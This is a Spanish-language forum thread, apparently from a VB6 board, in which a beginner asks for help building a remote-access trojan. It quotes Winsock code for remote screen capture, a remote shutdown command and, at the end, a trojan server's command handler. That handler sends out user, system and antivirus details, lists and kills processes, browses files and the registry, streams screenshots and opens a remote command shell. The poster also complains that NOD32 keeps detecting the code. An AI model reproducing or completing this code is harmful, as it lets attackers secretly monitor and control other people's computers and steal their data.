Mensajes

Alguna Ayuda? 

  ejej eso lo puse asi nomas osea la ruta es asi:

Image1.Picture = LoadPicture("C:\capture.jpg")

y tampoco funciona.... MIEREN PARA QUE ENTIENDAN MAS FACIL ESTE ES EL CODE....


CLIENTE

Código [Seleccionar] Expandir

Private Sub noscreen_Click()
Select Case MsgBox("Se elimino correctamente el screen anterior!", vbOKCancel + vbInformation, "Correcto")
Case vbOKCancel
Unload Me
End Select

Kill "C:\capture.jpg"

End Sub

Private Sub salir_Click()
End
End Sub

Private Sub screen_Click()
enviar "Screen"
End Sub



Y EN EL SERVER DELCARO ESTO

Código [Seleccionar] Expandir

Dim Foto As New Class1 'Class1 es el nombre del module de clase cjpg.




Y EN LA PARTE DATTA ARRIVAL ES ASI

Código [Seleccionar] Expandir

'SCREEN CAPTURE
       Case "Screen"
Resolucion = data(1)
Foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
Foto.Quality = 100   'aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso
Foto.SampleScreen
Foto.SaveFile ("c:\capture.jpg")
WS.SendData "tamscreen|" & FileLen("C:\capture.jpg")


Entonces como haria para que al capturar la imagen y al ser guardad en "C" esta se muestre en el Form osea en el cliente en IMAGE

no...creo que no me entendieron  el modulo ya esta agregado y el screen funciona perfecto y se guarda correctamente en la ruta especificada...pero el problema es que no se carga en el Form en el Image....eso es nomas...

uuu...perdon bueno en ese link esta el code....la cosa es sencilla pero no la puedo hacer andar...es que el jpg aparezca en el form 

Hola e seguido todo lo de este post http://foro.elhacker.net/programacion_vb/mi_primer_troyano_en_vb60-t170445.0.html;msg823252#msg823252  y lo e conseguido hacer la captura de screen pero el problema es como hacer para que el screen en jpg me muestre en el FORM de IMAGE....yo e agregado este code

Código [Seleccionar] Expandir

Image1.Picture = LoadPicture("Desktop.bmp") pero me tira error al cargar me dice que el jpg no esta encontrado...y yo creo que es por que esto se hace antes de que el jpg se cree por que en general tarda un pokio en crearse.....me entienden lo que digo



y otra cosa tambien es que no captura la barra de herramientas solo el escritorio 

Hola tengo una duda.... estoy practicando ejemplos por que recien comienzo con Visual Basic y tengo problemas con esto.... con hacer un screen remotamente....Localmente anda perfecto pero tengo un par de dudas al hacerlo Remotamente....

el codigo para que funcione localmente es

en el FORM()

Código [Seleccionar] Expandir

Option Explicit

'Api para generar un evento de tecla, en este caso Print Screen
''''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Declare Sub keybd_event _
    Lib "user32" ( _
        ByVal bVk As Byte, _
        ByVal bScan As Byte, _
        ByVal dwFlags As Long, _
        ByVal dwExtraInfo As Long)

'recibe la ruta donde crear el BMP
''''''''''''''''''''''''''''''''''''''''''''''''''
Private Sub Capturar_Guardar(Path As String)
   
    ' borra el portapapeles
    Clipboard.Clear
   
    ' Manda la pulsación de teclas para capturar la imagen de la pantalla
    Call keybd_event(44, 2, 0, 0)
   
    DoEvents
    ' Si el formato del clipboard es un bitmap
    If Clipboard.GetFormat(vbCFBitmap) Then
   
        'Guardamos la imagen en disco
        SavePicture Clipboard.GetData(vbCFBitmap), Path
        MsgBox " Captura generada en: " & Path, vbInformation
        Picture1.Picture = Clipboard.GetData(vbCFBitmap)
    Else
        MsgBox " Error ", vbCritical
    End If

End Sub


Private Sub ty_Click()
Call Capturar_Guardar("c:\pantalla.bmp")
End Sub

Private Sub ex_Click()
End
End Sub

______________________________________________________________________
______________________________________________________________________
______________________________________________________________________

Al hacerlo remoto lo que hice fue esto que no se si esta bien por eso pido ayuda aca...


En el FORM()

Código [Seleccionar] Expandir

Private Sub ty_Click()
enviar "ty"
End Sub

Private Sub ex_Click()
End
End Sub


Luego en el Server en la parte de DattaArrival

Código [Seleccionar] Expandir


'SCREEN CAPTURE
       Case "ty"
            CapturarScreen



y en un modulo aparte lo siguiente

Código [Seleccionar] Expandir


'*******************************************************************************************************************************************************************************************************
' SCREEN CAPTURE
'********************************************************************************************************************************************************************************************************
'Api para generar un evento de tecla, en este caso Print Screen
''''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Declare Sub keybd_event _
    Lib "user32" ( _
        ByVal bVk As Byte, _
        ByVal bScan As Byte, _
        ByVal dwFlags As Long, _
        ByVal dwExtraInfo As Long)
'**************************************************************************************************************************************************************************************************


'recibe la ruta donde crear el BMP
''''''''''''''''''''''''''''''''''''''''''''''''''
Private Sub Capturar_Guardar(Path As String)
   
    ' borra el portapapeles
    Clipboard.Clear
   
    ' Manda la pulsación de teclas para capturar la imagen de la pantalla
    Call keybd_event(44, 2, 0, 0)
   
    DoEvents
    ' Si el formato del clipboard es un bitmap
    If Clipboard.GetFormat(vbCFBitmap) Then
   
        'Guardamos la imagen en disco
        SavePicture Clipboard.GetData(vbCFBitmap), Path
        MsgBox " Captura generada en: " & Path, vbInformation
        Picture1.Picture = Clipboard.GetData(vbCFBitmap)
    Else
        MsgBox " Error ", vbCritical
    End If

End Sub

Function CapturarScreen()
Call Capturar_Guardar("c:\pantalla.bmp")
End Function



Hay algo que anda mal....que es? 

Hola e probado con un monton de codes diferentes para abirir y cerrar el CD-ROM en un troyano.... y especialmente el nod32 que tengo es el unico que me lo detecta y con todos los codes que pongo pasa lo mismo...

cual es el problema?

no no el code no lo hice yo por eso es que no lo puedo lograr hacer 

ya lo e vuelto a probar y no funciona no se como hacerlo...

si pero ya lo hice pero el problema es donde lo agrego en el dataarrival del server por que me tira error......

osea meter esto

Código [Seleccionar] Expandir

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
If datos = "apagar" Then
Shell "shutdown -s -t 0"
End If
End Sub



ACA DENTRO creo....o se agrega una nueva?

Código [Seleccionar] Expandir

Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)

Dim sData As String
Dim sHead As String

Dim iFData As Integer
Dim iRData As Integer

Dim sMParam() As String
Dim sDParam() As String

    DoEvents
    wskServer.GetData sData

    Debug.Print sData

    sHead = Left(sData, 10)
    sData = Right$(sData, Len(sData) - 10)

    sMParam = Split(sData, sDetailSplit)

    Select Case sHead
        Case "[GETSINFO]"
            wskServer.SendData "[SETSINFO]" & _
            "Syntax" & sDetailSplit & _
            Environ("username") & "  @ " & Environ("computername") & sDetailSplit & _
            IsNTAdmin(0&, 0&) & sDetailSplit & _
            Environ("os") & sDetailSplit & _
            GetCPUSpeedMHz & sDetailSplit & _
            MemoryAvailable & sDetailSplit & _
            GetCountryCode & sDetailSplit & _
            ".9"
        Case "[GETDINFO]"
            wskServer.SendData "[SETDINFO]" & _
            Environ("username") & sDetailSplit & _
            Environ("computername") & sDetailSplit & _
            Environ("os") & sDetailSplit & _
            CountryTag & sDetailSplit & _
            Split(GetFWAV, "|")(1) & sDetailSplit & _
            Split(GetFWAV, "|")(0) & sDetailSplit & _
            App.Path & sDetailSplit & _
            Environ("systemdrive") & sDetailSplit & _
            Environ("systemroot") & "\" & sDetailSplit & _
            GetProcessor & sDetailSplit & _
            GetCPUModel & sDetailSplit & _
            Split(MemoryAvailable, "|")(0) & sDetailSplit & _
            Split(MemoryAvailable, "|")(1) & sDetailSplit & _
            GetCamDrvs & sDetailSplit & _
            Screen.Width / Screen.TwipsPerPixelX & " x " & Screen.Height / Screen.TwipsPerPixelY
           
        Case "[GETPRCLT]"
            wskServer.SendData "[SETPRCLT]" & GetProcesses
        Case "[GETPRGLT]"
            wskServer.SendData "[SETPRGLT]" & GetInstalledApps
        Case "[GETSRVLT]"
            wskServer.SendData "[SETSRVLT]" & EnumerateServices
        Case "[GETMODLT]"
            wskServer.SendData "[SETMODLT]" & GetModules(CLng(sMParam(0)))
        Case "[GETWNDLT]"
            lstWindows = ""
            Call EnumWindows(AddressOf GetWindows, CLng(sMParam(0)))
            wskServer.SendData "[SETWNDLT]" & lstWindows
        Case "[GETPRCKL]"
            wskServer.SendData "[SETPRCKL]" & KillByPID(CLng(sMParam(0)))
        Case "[GETMODKL]"
            wskServer.SendData "[SETMODKL]" & UnInjectDll(sMParam(0), CLng(sMParam(1)))
        Case "[GETPRCPR]"
            wskServer.SendData "[SETPRCPR]" & SetProcessPriority(CLng(sMParam(0)), GetPriority(sMParam(1)))
        Case "[GETSRVST]"
            wskServer.SendData "[SETSRVST]" & ServiceControl(sMParam(0), CLng(sMParam(1)))
        'Case "[GETSRVSU]"
        '    wskServer.SendData "[SETSRVSU]" & SetServiceStartup(CLng(sMParam(0)), GetPriority(sMParam(1)))
        Case "[GETWNDOP]"
            Select Case sMParam(0)
                Case 0: sMParam(0) = SetWindow(CLng(sMParam(1)), 3)
                Case 1: sMParam(0) = SetWindow(CLng(sMParam(1)), 6)
                Case 2: sMParam(0) = SetWindow(CLng(sMParam(1)), 5)
                Case 3: sMParam(0) = SetWindow(CLng(sMParam(1)), 0)
                Case 4: sMParam(0) = CloseWindow(CLng(sMParam(1)))
                Case 5: sMParam(0) = ChangeWindowText(CLng(sMParam(1)), sMParam(2))
            End Select
            wskServer.SendData "[SETWNDOP]" & sMParam(0)
        Case "[GETFILES]"
            sData = EnumFiles(sMParam(0))
            If Len(sData) > 3072 Then
                sFData = sData
                While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
                    iFData = iFData + 1
                Wend
                wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
                DoEvents
                sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
            Else
                wskServer.SendData "[SETFILER]" + sData
            End If

        Case "[GETFILER]"
            If Len(sFData) > 3072 Then
                While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
                    iFData = iFData + 1
                Wend
                Sleep 100
                wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
                DoEvents
                sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
            Else
                wskServer.SendData "[SETFILER]" + sFData
            End If
       
        Case "[GETREGES]"
            sData = EnumKeysValues(sMParam(0), sMParam(1))
            If Len(sData) > 3072 Then
                sRData = sData
                While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
                    iRData = iRData + 1
                Wend
                wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
                DoEvents
                sRData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
            Else
                wskServer.SendData "[SETREGER]" + sData
            End If

        Case "[GETREGER]"
            If Len(sRData) > 3072 Then
                While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
                    iRData = iRData + 1
                Wend
                Sleep 100
                wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
                DoEvents
                sFData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
            Else
                wskServer.SendData "[SETREGER]" + sRData
            End If
           
           
        Case "[GETSCRST]"
            sData = GetScreenshot(-1, picScreenShot)
            MsgBox Len(sData)
            iSData = 0
            If Len(sData) > 3072 Then
                sSData = sData
                wskServer.SendData "[SETSCRST]" & Left(sData, 3072)
            Else
                wskServer.SendData "[SETSCRSR]" & sData
            End If
       
        Case "[GETSCRSR]"
            If Len(sSData) > 3072 Then
                iSData = iSData + 1
                wskServer.SendData "[SETSCRST]" & Mid(sSData, iSData * 3072, 3072)
                MsgBox iSData
            Else
                wskServer.SendData "[SETSCRSR]" & sData
            End If

        Case "[GETDRIVE]"
                wskServer.SendData "[SETDRIVE]" & EnumDrives
       
        Case "[FILESIZE]": wskServer.SendData "[SETSTRSD]"
           
        Case "[GETCOMND]"
            Select Case sMParam(0)
                Case 0
                 KillByPID DOS_PID
                 wskServer.SendData "[SETCOMND]" & 0
                Case 1
                 ExecuteCommand Environ("comspec")
                 wskServer.SendData "[SETCOMND]" & 1
                Case 2
                 WriteData sMParam(1)
            End Select

        End Select
       
       
End Sub